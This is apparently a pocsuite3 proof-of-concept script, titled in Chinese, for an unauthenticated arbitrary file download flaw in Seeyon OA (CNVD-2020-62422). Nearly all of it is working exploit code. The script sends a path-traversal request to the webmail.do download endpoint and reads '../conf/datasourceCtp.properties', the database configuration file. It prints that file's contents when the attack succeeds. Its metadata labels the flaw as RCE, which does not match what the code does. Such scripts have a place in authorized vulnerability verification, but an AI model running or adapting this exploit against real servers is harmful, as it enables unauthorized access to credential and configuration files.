致远OA任意文件下载漏洞（CNVD-2020-62422）

from urllib.parse import urljoin from pocsuite3.api import Output, POCBase, logger, requests, register_poc class DemoPOC(POCBase): vulID = '99114' # ssvid version = '3.0' author = [''] vulDate = '2021-1-27' createDate = '2021-1-27' updateDate = '2021-1-27' references = [''] name = 'Seeyon OA UNAuth File Download' appPowerLink = '' appName = 'Seeyon OA' appVersion = '' vulType = 'RCE' desc = ''' 致远OA未授权任意文件下载 ''' samples = [] install_requires = [''] def check(self, file_path, check_flag): vul_url = urljoin(self.url, '/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath={}'.format(file_path)) resp = requests.get(vul_url) if resp.status_code == 200 and check_flag in resp.text: return resp.text def _verify(self): result = {} try: file_path = '../conf/datasourceCtp.properties' check_flag = 'ctpDataSource' data = self.check(file_path, check_flag) if data: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['FilePath'] = file_path result['VerifyInfo']['FileContent'] = data except Exception as e: logger.error(str(e)) return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC)